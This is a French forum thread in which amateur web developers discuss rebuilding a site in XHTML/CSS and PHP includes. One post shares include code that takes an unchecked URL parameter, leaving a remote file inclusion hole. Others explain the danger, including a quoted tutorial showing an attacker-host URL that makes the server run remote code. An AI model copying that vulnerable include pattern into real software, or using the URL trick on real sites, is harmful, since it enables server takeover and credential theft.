Contenu | Rechercher | Menus

Annonce

Si vous avez des soucis pour rester connecté, déconnectez-vous puis reconnectez-vous depuis ce lien en cochant la case
Me connecter automatiquement lors de mes prochaines visites.

À propos de l'équipe du forum.

#51 Le 04/06/2007, à 00:37

valente

Re : A l'attention des ceusses qui s'y connaissent en truc html

Bonjour,

@Philbak
Je reconnais que le problème de l'orthographe sur les forums est horripilant pour ceux qui maîtrisent la langue de Molière. En me relisant je me suis flagellé tellement mes "fotes" étaient grossières.
Avec toutes mes excuses smile
Un autre avantage du web, c'est de participer et je suis sur qu'un simple mèl fera plaisir au traducteur du site concerné et réciproquement aussi pour ton site de traduction je suppose smile

Il est difficile d'imaginer comment est perçu la Web par des personnes présentant un handicap. J'ai la chance de n'en avoir aucun pour l'instant ( mis à part ma c.... smile ).
Il existe heureusement des recommandations, j'ai trouvé cet annuaire : http://www.webonorme.net
J'espère que le lien intéressera aussi  @M0rbidAngel

J'ai travaillé dans l'imprimerie... mais comme intervenant et je n'ai malheureusement pas le savoir de cette profession. C'est de très bons souvenirs smile J'ai découvert LaTex que je maitrise très mal et word
(jamais utilisé) de Microsoft qui avait comme surnom : Underwood électrique tellement le produit est efficace ! smile
On oubli facilement que l'imprimerie  c'est 500 ans d'acquis et que l'exercice de la lecture est ce qui est de plus difficile pour l'homme. L'importance de la présentation d'un texte permet d'en faciliter la compréhension.
Si certaines règles où recommandations du monde de l'imprimerie peuvent s'appliquer au Web, c'est - il me
semble - deux mondes différents. Le système "html/css" est souple et simple. L'imprimerie n'a pas cette souplesse.

M0rbidAngel « il marche et tu n'as mis que 4 jours. Y'a pas de quoi s'alarmer,...»
Ton site peut être lu par une personne de Dackar qui n'a pas la chance d'avoir une liaison 512K ou plus comme chez nous. L'opulence c'est finie ! Il faut favoriser ce qui est respectueux et participe  à la convivialité du Web.  Si je gerbe sur "Créator Pro", c'est qu'il vole le client et n'est pas respectueux .|
La bande passante n'est pas gratuite, un site qui applique les recommandations du W3C - même avec 10 erreurs - est très respectueux du cout et plus accessible à tout un chacun.

La démarche de qualité sur la traduction que vous proposez est le maillon essentiel du site, il serait dommage que les autres maillons (ftp, pages Web, messagerie etc) ne soit pas a la hauteur !

Philbak a écrit :

Je suis un perfectionniste comme vous n'imaginez pas. Et je déteste la médiocrité.

Vous visez l'excellence, c'est tellement rare dans ce monde "globalisé"* !

Moralité d'un dimanche soir sur Ubuntu-fr : « On emballe pas du "Van Cleef et Arpel" dans un papier cellophane ! » comme dirait ma voisine Mauricette.

Bon lundi, @+

--
Valente
mot con et "fashion", mais moi aussi je sais écrire comme mon patron dans sa note interne du 01/06  Na !

#52 Le 04/06/2007, à 00:50

M0rbidAngel

Re : A l'attention des ceusses qui s'y connaissent en truc html

Merci pour le lien, j'y jetterais un coup d'oeil moins fatigué demain.


(t'es skyzophrène...)  [non toi tu l'es...]  [on est deux dans ta tête, c'est une preuve non?]  (hahaaa!! tu vois tu l'avoues....t'as vraiment un problème toi ...)  [....] .............................{zut, sont passés où les deux autres là ..}

Hors ligne

#53 Le 04/06/2007, à 02:46

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Valente,

Merci pour ce mail apaisant. Je suis d'accord avec tout ce que tu me dis, y compris la moralité du dimanche soir.

Il fallait juste un peu d'indulgence pour un site qui, je le rappelle a tout juste deux mois d'existence. Je ne sais pas combien me prendra de temps la refonte de mon site, mais je m'y emploierai et je viendrai dire ici quand je l'aurai terminé. Pas avant septembre, probablement. Si toutefois il existe encore, la diffusion publique de sous-titrage amateur traduit de produits "copyrightés", comme le sont les scénarios originaux, étant illégal en soi...

Comme je l'ai dit dans un post précédent, mon souci premier était le contenu, sus au contenant, à présent !

Merci aussi à M0rbidAngel pour son soutien, c'était très sympa !

Et merci à tous, du coup, diversement et indifféremment.

Bonne semaine à vous tous,

Bye, Phil.

Hors ligne

#54 Le 04/06/2007, à 10:54

figaro

Re : A l'attention des ceusses qui s'y connaissent en truc html

Bonjour Philbak,

Je vas apporter quelques commentaires supplémentaires:

1- Les visiteurs:

Les statistiques de ton hébergeur t'annoncent 4000 visiteurs.
Il faut tempérer cela car ces statistiques basées sur les logs du serveur concernent le nombre de hits et pas le nombre de visiteurs "distincts". Les visiteurs rejetés comme l'initiateur de ce topic sont comptabilisés de même que les robots de recherche.

Ce qu'il est intéressant de regarder c'est la durée des visites et la profondeur de la visite (nombre de pages visitées). Le nombre de visites inférieures à 10 ou 30 secondes est généralement très élevé, il convient donc de pondérer ce genre de statistiques brutes.

Sur un site que je gère j'utilise un compteur de visites perso écrit en PERL et qui évite ce genre de problèmes.
On s'aperçoit qu'il peut y avoir une différence du simple au quadruple avec des stats brutes, si ce n'est plus.....

2- Le code du site

La page est codée en utilisant des script java script, c'est à mon avis une grosse erreur. Parce que le java script est exécuté sur le client et donc dépend du navigateur, et les navigateurs ont des comportements différents car ce n'est pas vraiment standardisé. De plus il y a un filtre de reconnaissance du navigateur avec rejet du visiteur : pas très accueillant.

De plus le script principal assez long est écrit dans la page html et non dans un fichier distinct à inclure, ce qui fait qu'il est rechargé à chaque affichage au lieu d'utiliser le script distinct qui aurait été stocké dans le cache du navigateur, ce qui ralentit d'autant l'affichage. Sur mon PC cela mets plusieurs secondes en passant par une page toute blanche puis ensuite une page toute noire puis enfin l'affichage.
Ce script semble ne servir qu'à la barre de menu, un div "menu" avec une définition css ferait le même travail beaucoup mieux et plus simplement.

Les scripts java scripts sont à éviter au maximum et à n'utiliser que pour les fonctions reconnues par tous les navigateurs.


Pas mal de travail en perspective pour remettre cela d'aplomb.

bon courage smile

Ce site est à reprendre en utilisant du html (et des feuilles de style css c'est le minimum.) Le logiciel de création est bien cher pour un résultat pas très convaincant.

Dernière modification par figaro (Le 04/06/2007, à 11:05)


Le blog de figaro (astuces diverses et tutos Samba pour débutants)
Le blog de cep (astuces Linux avancées)
Debian Lenny 6.0.1, Ubuntu 10.04.2, Ubuntu Remix 9.10, Ubuntu Netbook 10.04

Hors ligne

#55 Le 04/06/2007, à 11:18

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Bonjour Figaro,

Merci pour ces commentaires supplémentaires.

Toutefois, rien de nouveau sous le soleil car tout a été dit, semble-t-il.  Finalement, tout ceci devrait plutôt être envoyé à Micro Applications, l'éditeur de Web Creator pro 3...

Par ailleurs, les stats que j'ai (et dont j'ai tenu compte) m'indiquent à peu près tout, les visiteurs acceptés, les visiteurs rejetés, différenciés par adresse IP (si tu viens trois fois avec la même adresse IP le même jour, tu n'es compté que comme 1 visiteur), les hits par page, par image, pour chacun des fichiers, en somme, les navigateurs utilisés, les FAI, les mots de recherche utilisés, les liens (si tu viens du lien qui est en début de ce topic, par exemple, je le sais), et d'autres encore. Enfin, tout ce dont j'ai besoin.

Je pense toutefois qu'il doit bien y avoir quelque chose qui se met en cache, car ce phénomène de lenteur (page noire, blanche, etc.) ne se produit qu'à la première visite, évidemment.

Mais pour la future nouvelle mouture, effectivement, il me faudra des tuyaux. Je compte bien essayer de faire un truc plus "sain"...

Merci encore et bonne journée.

Bye, Phil !

Dernière modification par Philbak (Le 04/06/2007, à 12:53)

Hors ligne

#56 Le 04/06/2007, à 12:25

figaro

Re : A l'attention des ceusses qui s'y connaissent en truc html

Oh l'éditeur c'est Micro Applications. Tout pour Microsoft chez ceux là !

Leurs logiciels ne sont pas géniaux en général, pas très chers mais pas très convaincants non plus. Certains vont jusqu'à planter XP ....


Le blog de figaro (astuces diverses et tutos Samba pour débutants)
Le blog de cep (astuces Linux avancées)
Debian Lenny 6.0.1, Ubuntu 10.04.2, Ubuntu Remix 9.10, Ubuntu Netbook 10.04

Hors ligne

#57 Le 12/06/2007, à 02:04

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Bonsoir à tous.

J'ai dit une bêtise, Web Creator 3, ce n'est pas de chez Micro Applications du tout ! Chez eux, c'est Web serif 10 +...

Si cela vous intéresse, comme nous en avons longuement parlé ici, j'ai commencé à refondre mon site www.hpb-subteam.fr. Mais pas à cette dernière adresse, plutôt ici (pour mes essais), la page d'accueil (pas terminée) : http://philbakelite.free.fr.

Merci de me dire ce que vous en pensez, même si je sais déjà que mon code (fait à la main, avec notepad2 !) est un peu brouillon et décousu ! Il n'y a que du XHTML et du CSS. Pas de javascript !

Bye, Phil !

PS : Pour les photos, je ne sais pas mettre un "alt" en CSS... Si quelqu'un a la syntaxe...

Dernière modification par Philbak (Le 12/06/2007, à 12:23)

Hors ligne

#58 Le 12/06/2007, à 02:34

chilperik

Re : A l'attention des ceusses qui s'y connaissent en truc html

http://validator.w3.org/check?uri=http%3A%2F%2Fphilbakelite.free.fr%2F

Tu vois c'est pas truqué ! tongue

BRAVO cool


Fait que le rêve dévore ta vie afin que la vie ne dévore pas tes rêves...

Questionnaire 2017 sur vos usages numériques !

Hors ligne

#59 Le 12/06/2007, à 09:42

Julius

Re : A l'attention des ceusses qui s'y connaissent en truc html

Franchement je suis bluffé. Je n'ai pas regardé le CSS mais le code de la page me semble très clean... Je ne pensais vraiment pas que tu réagirais si vite.

Bravo à toi, c'est super smile 

Que penses-tu de cette expérience ? Ca t'as pris beaucoup de temps ? Tu as appris ca comment ? smile

Hors ligne

#60 Le 12/06/2007, à 19:46

M0rbidAngel

Re : A l'attention des ceusses qui s'y connaissent en truc html

Philbak a écrit :

En fait, faire cette page m'a pris environ une douzaine d'heures en temps réel. Mais je refais en même temps les autres pages de mon site. La "matrice" est commune. En haut le logo, à gauche le menu, au centre droite le contenu. Quand j'aurai fini cette page d'accueil, donc, je n'aurai qu'à la recopier X fois et changer le contenu par page, le titre, etc. J'avais dit ici que j'apprenais très vite... Quant à réagir vite, je l'avais dit, non ? Je ne parle que rarement à la légère.

En réalité, il te faut aussi apprendre un peu de php. Cela va te permettre de créer une seule fois ta page principale contenant ta bannière/logo, ton menu, ta mise en page etc...et ensuite de ne créer que des pages où tu t'occuperas du contenu.
Si je ne raconte pas de bétises (j'en suis juste un peu plus loin que toi maintenant smile ), cela à d'énormes avantages : tu ne travailles ensuite que du contenu sur tes autres pages ( le body si on a appris pareil), c'est plus rapide, plus lisible et tu éviteras des erreurs; ensuite théoriquement le navigateur ne rechargera que le contenu, ta page principale, "menu.php" (par exemple), étant mise en cache chez le 'client' ne sera plus téléchargée donc ton site sera plus rapide et consommera moins de bande passante.

Sinon j'ai trouvé ton logo animé très propre et fluide, vu comment je luttes des fois sous Gimp j'aimerais savoir comment tu l'as fait ?


(t'es skyzophrène...)  [non toi tu l'es...]  [on est deux dans ta tête, c'est une preuve non?]  (hahaaa!! tu vois tu l'avoues....t'as vraiment un problème toi ...)  [....] .............................{zut, sont passés où les deux autres là ..}

Hors ligne

#61 Le 12/06/2007, à 20:01

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Ah ! Merci du conseil, MOrbidAngel ! Comme je n'en suis qu'au début, cela ne me gêne pas trop de recommencer...

D'autant que je viens de m'apercevoir avec horreur que, même si c'est compatbible 100% avec Firefox et Opéra, ça ne l'est pas avec IE, la mise en page est totalement décalée ! Quelle galère !

J'ai réglé le problème de positionnement des éléments graphiques qui me péoccupaient (pas mis sur mon site d'essai, mais ça marche) mais pour m'apercevoir que, de toute façon, c'est pas universel, même si je passe haut la main le validateur W3C pour le Xhtml 1.1 et le CSS... Comme quoi...

Cela dit, mis dans ma page perso chez Free, ça va très vite quand même, grâce au CSS...

Bon, je m'y recolle cette nuit, du coup ! hmm

Pour le logo animé, va ici : www.hpb-subteam.fr,  va dans la fonction mail (en haut à gauche, l'@), identifie-toi et écris-moi en indiquant ton mail. Je t'envoie ce qu'il te faut (1,32 Mo) par simple retour de mail. C'est ancien mais ça fait un tas de trucs très cools, y compris des boutons, etc.

Bye, à très bientôt, Phil !

Dernière modification par Philbak (Le 12/06/2007, à 20:05)

Hors ligne

#62 Le 12/06/2007, à 20:09

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Bon, sans le vouloir, j'ai effacé un de mes mails précédents : il m'apparaissait deux fois dans le forum. Comme d'ailleurs, celui que je viens de mettre ! C'est un bug ? Enfin, c'est pas grave, le fil n'est pas rompu...

Sorry guys...

EDIT : en fait, tous mes posts m'apparaissent deux fois ! Ca vous fait ça à vous aussi (respectivement, je veux dire, chacun ses posts) ? Ou alors quelqu'un connaît la raison ?

Dernière modification par Philbak (Le 12/06/2007, à 20:14)

Hors ligne

#63 Le 12/06/2007, à 20:41

Julius

Re : A l'attention des ceusses qui s'y connaissent en truc html

Je confirme pour le PHP.

C'est comme ceci :

<?php
include('pagequetuveux.php');
?>

Hors ligne

#64 Le 13/06/2007, à 00:18

M0rbidAngel

Re : A l'attention des ceusses qui s'y connaissent en truc html

Julius a écrit :

Je confirme pour le PHP.

C'est comme ceci :

<?php
include('pagequetuveux.php');
?>

Ca pour un débutant c'est du charabia hmm
En confirmation j'ai connu plus français wink


(t'es skyzophrène...)  [non toi tu l'es...]  [on est deux dans ta tête, c'est une preuve non?]  (hahaaa!! tu vois tu l'avoues....t'as vraiment un problème toi ...)  [....] .............................{zut, sont passés où les deux autres là ..}

Hors ligne

#65 Le 13/06/2007, à 00:39

Julius

Re : A l'attention des ceusses qui s'y connaissent en truc html

Heu oui j'étais pressé big_smile

Bah en fait le truc c'est que avant, j'utilisais le principe de pseudo-frames PHP. En gros, on prend une page principale. On utilise le code que j'ai mis pour inclure les pages. Ensuite, on fait passer dans l'adresse des variables.

Par exemple, disons que tu mets tout le canevas dans index.php

Dans ce index.php, il n'y a que la partie principale qui change. Donc dans le index, tu inclus la page d'accueil si quelqu'un a cliqué sur accueil. Le lien accueil sera "index.php?page=accueil". La variable est donc page. Tu fais le test PHP : si la variable page est égale à accueil, inclus accueil.php.

Compris ? tongue

Le truc c'est que cette technique est assez ancienne et j'avoue ne pas être à jour à ce niveau. Est ce que c'est encore utilisé ?

EDIT : Tu peux faire mieux avec un code comme celui-ci:

				<?php
				$array = array('accueil', 'activites', 'calendrier', 'contact', 'liens', 'membres', 'plan');
				if( in_array($_GET['page'], $array))
				{ include($_GET['page'].'.php'); }
				else
				{ include("accueil.php"); }
				?>

Tu remplaces accueil, activites, calendrier, contact, etc par tes propres pages. Les fichiers doivent alors être nommés activites.php en étant dans le répertoire courant. Bon bref, tu auras compris je crois :-) ou pas ?

Dernière modification par Julius (Le 13/06/2007, à 00:45)

Hors ligne

#66 Le 13/06/2007, à 01:04

M0rbidAngel

Re : A l'attention des ceusses qui s'y connaissent en truc html

Dans le cas ci-dessous, le contenu est une variable :

<?
//On inclue la banniere et le menu
include('banniere.php');
include('menu.php');

//On definie la variable contenu qui est la page demander via GET['c']
//Si aucun contenu (que l'on designera par la variable 'c') on affiche la page d'accueil
$contenu		= $_GET['c'];

if(empty($contenu))
	{
	  include('page_d_accueil.php');
	}
else
	{
	  include($_GET['c'].'.php');
	}
?>

Après la variable ['c'] est précisée dans les liens correspondants :

<a href="index.php?c=page_d_accueil" ><img src="images/page_d_accueil.png" alt="Page d'accueil"/></a>

Comme ça l'index.php n'est plus à modifier et ne dépend pas du reste du site. Je sais pas si c'est mieux vu que c'est pas moi qui l'ai fait ( le pote avec qui je bosse), mais j'ai compris ...enfin je pense.....j'espère....:D

Dernière modification par M0rbidAngel (Le 13/06/2007, à 01:07)


(t'es skyzophrène...)  [non toi tu l'es...]  [on est deux dans ta tête, c'est une preuve non?]  (hahaaa!! tu vois tu l'avoues....t'as vraiment un problème toi ...)  [....] .............................{zut, sont passés où les deux autres là ..}

Hors ligne

#67 Le 13/06/2007, à 01:12

Julius

Re : A l'attention des ceusses qui s'y connaissent en truc html

Oulah attention... Ce que tu viens de dire est dangereux :

else
    {
      include($_GET['c'].'.php');
    }

Déjà je ne vois pas pourquoi il réutilise un get alors qu'il a défini la variable en haut. En plus il inclu carrément la valeur de la variable. Donc si tu lances une adresse genre : index.php?c=http://monsite.com/programme_qui_casse_ton_serveur
Ton serveur est mourru s'il est mal protégé.

Bref, ca fait la même chose que le code que j'ai donné en haut mais en moins sécurisé. Il vaut mieux définir chacune des pages que l'on va inclure.

Dernière modification par Julius (Le 13/06/2007, à 01:13)

Hors ligne

#68 Le 13/06/2007, à 01:26

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Héhé ! Merci ! Mais je n'ai rien pigé du tout !

Je n'en suis qu'au tout tout début en PHP ! J'ai commencé mon cours sur le site du Zéro ce soir, moi !

Bon, je comprends quand même une partie, évidemment, mais quand même ! Laissez-moi le temps ! lol

Mes pages sont constituées exactement de ceci : un fond noir, une image jpg globale (tout ce qui est bleu) au centre comprenant l'endroit à gauche où caser mon menu de navigation et le logo animé (reçu ?), endroit qui a une taille fixe et non réglable.

C'est pourquoi je ne peux pas faire n'importe quoi pour afficher le menu texte dedans... Je veux garder mon interface actuelle (mon image de fond), vous vous en souvenez ?

Pour le reste, dans chaque page, j'ai du texte, des photos, un menu déroulant pour les trucs à télécharger, etc.

Il faut donc en fait que je case au bon endroit et avec la meilleure manière tout ce que j'ai déjà dans le site au code affreux, que son apparence ne change pas mais que son code soit nickel. Bien sûr que j'avais pensé à faire varier uniquement le contenu en gardant ce qui ne change pas d'une page à l'autre. Mais là, vous allez bien plus vite que ma musique à moi ! lol:lol::lol:

Dernière modification par Philbak (Le 13/06/2007, à 01:27)

Hors ligne

#69 Le 13/06/2007, à 01:46

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Maintenant, s'il y en a un de vous deux qui veut bien m'aider à le faire, je suis partant, évidemment !

Je communique l'image de fond, la photo détaillée de tout ce qu'il doit y avoir dessus et des liens, etc. Il me faut juste un départ, une trame, je fais le reste en reprenant le code pour les autres pages.

Il m'en faut juste une en plus de la page d'accueil, pour voir comment c'est fait... (La page "House", par exemple, sans les photos ni rien, je me débrouille de ça, peut-être). Et même sous forme d'exemple. Quand il y a une photo on met le code avec un nom bidon, pour le menu (sept items, pareil, juste  du code pour que je comprenne plus vite.

Deux liens du menu vont vers : le livre d'or, c'est l'Alex guests book, et une page de formulaire (c'est le lien mail par le bouton, j'ai bricolé du code PHP et CSS). Le reste, ce sont des pages normales.

Mais je demande ça en passant, hein ! Ne vous sentez pas obligés du tout !

Pour vous dire mon niveau, j'ai pris cet exemple sur Zéro :

<?php
$nombre_de_lignes = 1;

while ($nombre_de_lignes <= 100)
{
echo "Ceci est la ligne n°$nombre_de_lignes<br />";
$nombre_de_lignes++;
}
if ($nombre_de_lignes <= ???)
{
echo "on est à la fin !";
}

?>

Il ma fallu 15 mn pour trouver comment ajouter une ligne qui, arrivé à 100, écrivait en plus on est à la fin. Tout simplement parce que je ne me rappelais plus mon VB d'antan, où je savais pourtant que ma condition ne marchait qu'à 101 !

J'ai donc enfin réussi à me rappeler que je devais mettre 101 à la place des ??? de ma condition, parce que le compteur avait déjà dépassé 100 à ce moment-là ! Je ne sais même pas comment j'ai pu me rappeler ça en seulement 15 mn !

Dernière modification par Philbak (Le 13/06/2007, à 01:50)

Hors ligne

#70 Le 13/06/2007, à 02:02

l'autre

Re : A l'attention des ceusses qui s'y connaissent en truc html

bizarre cet exemple, une fois ta boucle terminée, on se doute bien que $nombre_de_lignes vaut 101, pas besoin du test if, ça écrira à coup sûr hmm

Dernière modification par l'autre (Le 13/06/2007, à 02:03)


Si tu donnes à quelqu'un un poisson que tu as volé, il mangera une fois. Si tu lui apprends à voler, il mangera toute sa vie

Hors ligne

#71 Le 13/06/2007, à 02:10

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

ben non, ça écrit 100 et ça s'arrête. Quand on a fait du VB il y a 20 ans et que l'on commence le développement web depuis deux jours, rien n'est évident à ce point ! lol
Je voulais juste écrire une condition if, c'est tout... Et je voulais aussi faire comprendre mon niveau. Apparemment j'ai réussi : tu vois bien que je suis nul de chez nul  cool

Hors ligne

#72 Le 14/06/2007, à 00:32

M0rbidAngel

Re : A l'attention des ceusses qui s'y connaissent en truc html

Julius a écrit :

Oulah attention... Ce que tu viens de dire est dangereux :

else
    {
      include($_GET['c'].'.php');
    }

Déjà je ne vois pas pourquoi il réutilise un get alors qu'il a défini la variable en haut. En plus il inclu carrément la valeur de la variable. Donc si tu lances une adresse genre : index.php?c=http://monsite.com/programme_qui_casse_ton_serveur
Ton serveur est mourru s'il est mal protégé.

Bref, ca fait la même chose que le code que j'ai donné en haut mais en moins sécurisé. Il vaut mieux définir chacune des pages que l'on va inclure.

Je vois pas très bien pour ton adresse "programme_qui_casse_ton_serveur". Seul toi peux accéder au coté php et tu es maitres de tes liens non?
Si tu peux m'expliquer, parce qu'à vrai dire, même si je comprends le code dans son ensemble et l'utilise pour mes sites, il y a certainement des subtilités qui m'échappent.


(t'es skyzophrène...)  [non toi tu l'es...]  [on est deux dans ta tête, c'est une preuve non?]  (hahaaa!! tu vois tu l'avoues....t'as vraiment un problème toi ...)  [....] .............................{zut, sont passés où les deux autres là ..}

Hors ligne

#73 Le 14/06/2007, à 00:48

M0rbidAngel

Re : A l'attention des ceusses qui s'y connaissent en truc html

@philbak
Je t'aiderais bien mais comme tu vois il semble qu'il y ait un petit souci dans mon code php hehehe.

En plus je me prends la tête affreux sur un site en cours pour une artiste. Le code facile, mais le design pour coller à l'ensemble de travail pfiouuuuuu je change quasiment tout toutes les semaines.


(t'es skyzophrène...)  [non toi tu l'es...]  [on est deux dans ta tête, c'est une preuve non?]  (hahaaa!! tu vois tu l'avoues....t'as vraiment un problème toi ...)  [....] .............................{zut, sont passés où les deux autres là ..}

Hors ligne

#74 Le 14/06/2007, à 00:53

fxdarkplayer

Re : A l'attention des ceusses qui s'y connaissent en truc html

M0rbidAngel : si tu include un fichier d'un autre serveur qui n'a pas interprété le php de son coté, alors, ton serveur va exécuter le programme même si le fichier inclu dit "detruit toutes les bases de données et supprime les données du serveur!

dans ton code, c'est l'utilisateur qui est maître des lien, pas toi, car il peu simplement changer ce qu'il veut dans sa barre d'adresse!

Dernière modification par fxdarkplayer (Le 14/06/2007, à 00:55)


fxdarkplayer --> ixeft

Hors ligne

#75 Le 14/06/2007, à 00:57

Philbak

Re : A l'attention des ceusses qui s'y connaissent en truc html

Oui, oui, je crois bien que j'ai lu exactement ça sur le site du zéro... Je vais le retrouver et vous donner l'info. Je reviens...

C'est assez long, je vous préviens, mais très instructif. A partir d'ici, c'est le formateur qui parle. C'est lui le créateur du site. Je sépare avec des *, je mets ses explications en gras et je reviens voir votre réponse quand il y en aura une.
***********************************************************************
Méthode n°1 : la brutale


On commence par ma préférée : la méthode dite "brutale" tongue (bien entendu ce n'est pas un nom officiel, c'est moi qui l'appelle comme ça wink )

Cette méthode a un avantage et un défaut :

    * Avantage : vous n'avez aucun risque de vous faire hacker avec cette méthode (c'est pour ça que je la préfère).
    * Défaut : si vous voulez changer complètement le design de votre page web, il se peut (je dis bien "il se peut") que vous deviez tout refaire si vous avez utilisé la méthode brutale. Par ailleurs, elle fait un peu moins "pro", mais elle est tellement plus sûre...


Ne tournons pas autour du pot, cette méthode est simple : elle consiste à copier-coller l'instruction include sur toutes les pages web de votre site :

Code : PHP
<?php include("haut.php"); ?>

<p>
    Ceci est une page X de votre site.<br />
    Tout le code de vos pages ressemble à ceci : il y a un include en haut, et un include en bas.<br />
</p>

<?php include("bas.php"); ?>


Dans les pages haut.php et bas.php, vous mettez ce que vous voulez. Par exemple, dans haut.php je mettrais le titre du site et les premiers tags html : <html>, <head>, <title> etc... Ce qu'on trouve en haut du code d'une page web quoi... smile
Dans bas.php, vous inscrivez par exemple un copyright, le nom du webmaster, puis vous fermez les balises </body> et </html>

Méthode n°2 : la dangereuse


De la même manière que la méthode précédente, il y a un avantage et un défaut :

    * Avantage : on peut facilement changer toute l'apparence de votre site sans problème. Certains trouveront aussi peut-être ce code plus "séduisant" (si toutefois il est possible de trouver un code séduisant big_smile )
    * Défaut : si vous ne faites pas très attention au code que vous écrivez, votre site web sera vulnérable et il sera assez facile de récupérer votre mot de passe MySQL par exemple...


A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille pas trop.

Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos menus, votre copyright, puis vous fermez les balises </body> et </html>.
Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php, vous ferez comme ceci :

Code : PHP
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
    <head>
        <title>Mon super site !</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    </head>
    <body>
   
    <?php include("minichat.php"); ?>
   
   
    <p>Ce site a été écrit par Mateo21.</p>

    </body>

</html>


Et si je veux inclure une autre page, je fais comment ? Je refais une page comme celle-là et j'inclue mon autre page cette fois ?

Pas du tout, malheureux ! tongue
L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le nom de la page à inclure, par exemple :

index.php?page=minichat

On reprend maintenant le code 3.1.7 :

Code : PHP
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
    <head>
        <title>Mon super site !</title>
        <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
    </head>
    <body>
       
    <?php
    $page = $_GET['page'];
    include("$page.php");
    ?>   
   
    <p>Ce site a été écrit par Mateo21.</p>

    </body>

</html>


Si l'url contient index.php?page=minichat, alors on incluera minichat.php
Si l'url contient index.php?page=news, alors on incluera news.php
Si l'url contient index.php?page=forum, alors on incluera forum.php
Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera http://www.hacker.com/pagespeciale.php

Euh, attends une minute là, tu peux m'expliquer le dernier exemple ? o_O

Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :
<?php include("http://www.hacker.com/pagespeciale.php"); ?>

Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).

Et alors ?
Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"
Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là :euh:

***************************************************************************

Voilà. Pas mal, non ?

Dernière modification par Philbak (Le 15/06/2007, à 02:04)

Hors ligne